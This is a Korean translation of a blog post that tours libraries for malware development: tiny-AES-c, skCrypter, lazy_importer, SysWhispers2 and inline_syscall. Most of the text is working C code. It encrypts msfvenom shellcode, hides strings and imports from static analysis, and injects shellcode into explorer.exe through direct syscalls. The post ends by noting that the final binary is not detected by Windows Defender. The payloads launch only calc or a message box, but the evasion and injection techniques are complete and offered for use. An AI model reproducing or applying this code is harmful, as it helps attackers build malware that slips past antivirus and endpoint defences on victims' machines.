[Translation] 악성코드 개발에 유용한 라이브러리들

안녕하세요. idioth입니다. 원래 작성하려 했던 게시글은 이 주제가 아닌데 부득이하게 몸이 안 좋아서 번역 글로 대체합니다. Malware라는 글자만 보면 무작위 하게 글을 수집하는 버릇이 이럴 때 좋네요. 아무튼 이번에 가져온 게시글은 악성코드 개발 시 유용한 라이브러리들에 대한 소개입니다. 오랜만에 진행하는 번역 글이라 의역 및 오역이 많을 수 있습니다. 피드백은 언제나 환영입니다. :)

원문 글: Useful Libraries for Malware Development


초심자가 시간을 절약하고 싶고 바로 동작하는 프로그램을 원하면 라이브러리를 사용하여 개발하는 것이 좋다.

이 게시글에서 필자가 악성코드를 개발하는 동안 찾은 유용하고 쉽게 사용할 수 있는 라이브러리 몇 가지를 공유할 것이다.

tiny-AES-c

악성코드를 작성할 때 shellcode는 반드시 암호화해야 한다. 그렇지 않으면 정적 분석에 악성코드가 탐지될 것이다. 추천하는 shellcode 암호화 방식 중 하나는 AES를 사용하는 것이며 kokke/tiny-AES-c 라이브러리를 사용하면 쉽게 구현이 가능하다.

이 라이브러리를 사용하려면 프로젝트에 아래의 헤더 파일과 소스 파일만 추가하면 된다.

CBC 모드를 사용한 AES 암호화 코드의 예제와 그 결과 값은 다음과 같다.

#include <Windows.h>
#include <stdio.h>
#include "lib/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}

	printf("\n");
}

암호화된 shellcode를 복호화하려면 AES_CBC_decrypt_buffer() 함수를 사용하면 된다.

그 외에 다른 AES 라이브러리도 몇 가지 있다.

skCrypter

skadro-official/skCrypter는 컴파일 시 user-mode와 kernel-mode 문자열 암호화 라이브러리다. 랜덤한 키를 통한 XOR 알고리즘을 사용하고 기본적인 XOR 브루트포싱을 막을 수 있다.

문자열 암호화/난독화는 악성코드의 일부를 숨기기 위해 수행된다. 일반적인 리버서에게 대항하기에는 도움이 조금밖에 되지 않지만, 문자열 난독화는 좋은 방법 중 하나이다.

아래의 코드는 GetModuleHandleAGetProcAddress를 통해 동적으로 NtDelayExecution을 호출하여 “sleep” 루틴을 수행한다.

#include <Windows.h>
#include <stdio.h>

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

이 코드가 컴파일되면 바이너리에서 ntdll.dllNtDelayExecution 문자열이 보인다.

OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread의 조합처럼 악의적 의도로 함수를 사용하면 안티 바이러스 정적 분석에 탐지될 수 있다.

여기서 skadro-official/skCrypter를 사용하면 된다. skCrypter.h 헤더 파일을 import 하고, 난독화할 문자열에 skCrypt() 함수를 넣으면 된다.

아래 코드는 ntdll.dllNtDelayExecution 문자열에 skCrypter.h 라이브러리를 사용한 예시이다.

#include <Windows.h>
#include <stdio.h>
#include "lib/skCrypter.h"

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

바이너리에서 문자열을 찾을 수 없다.

이와 비슷한 기능을 하는 라이브러리는 다음과 같다. (필자는 사용하거나 테스트해보지 않았다.)

lazy_importer

바이너리에서 사용되는 WinAPI 함수들은 Import Address Table(IAT)에 기록된다. 대부분의 안티 바이러스 솔루션은 바이너리의 IAT를 읽고 위험하거나 악의적인 함수들의 존재를 확인한다.

#include <Windows.h>

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

이 코드를 컴파일하면 CreateProcessW가 IAT에 기록되어 PEStudio의 blacklist에 표시된다.

이러한 부분은 JustasMasiulis/lazy_importer를 사용하여 쉽게 숨길 수 있다. lazy_importer.hpp 헤더 파일을 import 하고 LI_FN() 함수를 호출하면 끝이다.

#include <Windows.h>
#include "lib/lazy_importer.hpp"

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

*NOTE: NULLnullptr로 바꿔야 컴파일 에러가 발생하지 않음*

IAT를 다시 확인하면 CreateProcessW 함수가 사라진 걸 볼 수 있다.

이와 같은 기능을 하는 라이브러리는 다음과 같다:

AmJayden/Lazy-Importer

SysWhisper2

AV/EDR 우회에 대해 공부한 적 있다면 syscall을 사용하는 것이 kernel-mode 탐지 우회에 잘 알려진 방법이라는 걸 알고 있을 거다(ex user-land hooking). syscall을 들어본 적 있다면 jthuraisamy/SysWhispers2에 대해 잘 알 거다.

사용법은 파일을 생성하는 데 사용할 “Nt*” 함수와 함께 파이썬 스크립트 syswhispers.py를 실행하면 된다.

$ python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm

그 후 아래와 같이 하면 된다.

  1. 생성된 H/C/ASM 파일을 프로젝트 폴더에 복사
  2. Visual Studio에서 go to Project → Build Customizations, enable MASM
  3. Solution Explorer에서 .h와 .c/.asm 파일을 프로젝트에 추가한다.
  4. ASM 파일 속성에 들어가서 Item Type을 Microsoft Macro Assembler로 설정한다.
  5. 프로젝트 플랫폼을 x64로 설정한다. 32비트 프로젝트는 지원하지 않는다.

Nt*” 함수는 아래처럼 사용할 수 있다.

#include <Windows.h>
#include "lib/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 11256;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(hProcess);
	NtClose(hThread);

	return 0;
}

이미 안티 바이러스에 시그니처가 등록되어 있다는 점이 이 툴의 단점이다.

x86 syscalls은, mai1zhi2/SysWhispers2_x86를 사용하면 됨.

inline_syscall

안티 바이러스에 탐지되는 것 말고도 jthuraisamy/SysWhispers2를 좋아하지 않는 이유는 새로운 “Nt*” 함수를 추가하거나 사용할 때 매번 툴을 재실행하여 파일을 재생성해야 하는 것 때문이다.

하지만 JustasMasiulis/inline_syscall이 이러한 이슈를 해결해주었다. 사용법은 아래의 헤더 파일을 import 하는 것이다.

INLINE_SYSCALL(function_pointer)INLINE_SYSCALL_T(function_type) 매크로를 사용하기 전에 초기화 함수 jm::init_syscalls_list()를 호출한다.

*NOTE: Visual Studio를 사용하면 Platform Tollset에서 `LLVM (clang-cl)을 사용해야 함.*

INLINE_SYSCALL 매크로를 사용한 예시 코드이다.

#include <Windows.h>
#include "lib/in_memory_init.hpp"

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);

NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);

NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

NTSTATUS NtClose(IN HANDLE Handle);

int main(int argc, char* argv[])
{
	jm::init_syscalls_list();

	// PID of explorer.exe
	DWORD pid = 4396;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	INLINE_SYSCALL(NtClose)(hProcess);
	INLINE_SYSCALL(NtClose)(hThread);

	return 0;
}

*NOTE: jthuraisamy/SysWhispers2와 다르게 필요한 구조체와 typedefs를 만들어야 함.*

*TIP: 필요한 구조체와 typedefs를 jthuraisamy/SysWhispers2를 사용하여 만들고, JustasMasiulis/inline_syscall를 통해 syscall을 사용하면 됨*

컴파일된 바이너리를 Windows Defender에서 테스트해보면, jthuraisamy/SysWhispers2로 바이너리를 생성했을 때와 달리 탐지되지 않는 것을 볼 수 있다.